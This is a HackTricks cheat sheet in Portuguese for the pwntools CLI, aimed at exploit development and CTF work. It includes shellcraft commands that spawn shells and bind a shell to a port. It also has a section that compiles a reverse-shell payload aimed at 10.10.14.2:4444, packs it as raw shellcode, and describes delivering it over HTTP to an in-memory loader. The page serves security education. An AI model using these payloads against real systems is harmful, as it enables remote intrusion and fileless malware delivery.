PwnTools
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
pip3 install pwntools
Pwn asm
Obtenha opcodes de uma linha ou de um arquivo.
pwn asm "jmp esp"
pwn asm -i <filepath>
Pode selecionar:
- tipo de saída (raw,hex,string,elf)
 - contexto do arquivo de saída (16,32,64,linux,windows...)
 - evitar bytes (new lines, null, a list)
 - selecionar encoder; debugar shellcode usando gdb; executar o output
 
Pwn checksec
Script do Checksec
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Obtenha um padrão
pwn cyclic 3000
pwn cyclic -l faad
Pode selecionar:
- O alfabeto usado (caracteres minúsculos por padrão)
 - Comprimento do padrão uniq (padrão 4)
 - contexto (16,32,64,linux,windows...)
 - Obter o offset (-l)
 
Pwn debug
Anexar GDB a um processo
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Pode selecionar:
- Por executável, por nome ou por contexto pid (16,32,64,linux,windows...)
 - gdbscript para executar
 - sysrootpath
 
Pwn disablenx
Desativar nx de um binário
pwn disablenx <filepath>
Pwn disasm
Desassemblar opcodes hex
pwn disasm ffe4
Pode selecionar:
- context (16,32,64,linux,windows...)
 - endereço base
 - color(default)/no color
 
Pwn elfdiff
Imprime diferenças entre 2 arquivos
pwn elfdiff <file1> <file2>
Pwn hex
Obtenha representação hexadecimal
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Obter hexdump
pwn phd <file>
Pode selecionar:
- Número de bytes a mostrar
 - Número de bytes por linha — byte de destaque
 - Ignorar bytes no início
 
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Obter shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Pode selecionar:
- shellcode e argumentos para o shellcode
 - Arquivo de saída
 - formato de saída
 - debug (anexar dbg ao shellcode)
 - antes (trap de debug antes do código)
 - depois
 - evitar usar opcodes (padrão: sem null e nova linha)
 - Executar o shellcode
 - Cor/sem cor
 - listar syscalls
 - listar shellcodes possíveis
 - Gerar ELF como uma biblioteca compartilhada
 
Pwn template
Obter um template em python
pwn template
Pode selecionar: host, port, user, pass, path e quiet
Pwn unhex
De hex para string
pwn unhex 686f6c61
Pwn update
Para atualizar pwntools
pwn update
ELF → empacotamento raw shellcode (loader_append)
Pwntools pode transformar um ELF independente num único blob de raw shellcode que auto‑mapeia seus segmentos e transfere a execução para o entrypoint original. Isto é ideal para memory‑only loaders (por exemplo, apps Android invocando JNI para executar bytes baixados).
Pipeline típico (exemplo amd64)
- Construa um payload ELF estático e independente de posição (musl recomendado para portabilidade):
 
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Converter ELF → shellcode com pwntools:
 
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Entregar sc a um memory loader (por exemplo, via HTTP[S]) e executar in-process.
 
Notas
- loader_append incorpora o programa ELF original dentro do shellcode e gera um pequeno loader que mmaps os segmentos e salta para o entry.
 - Seja explícito sobre a arquitetura usando context.clear(arch=...). arm64 é comum em Android.
 - Mantenha o código do seu payload independente de posição e evite pressupor detalhes sobre ASLR/NX do processo.
 
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks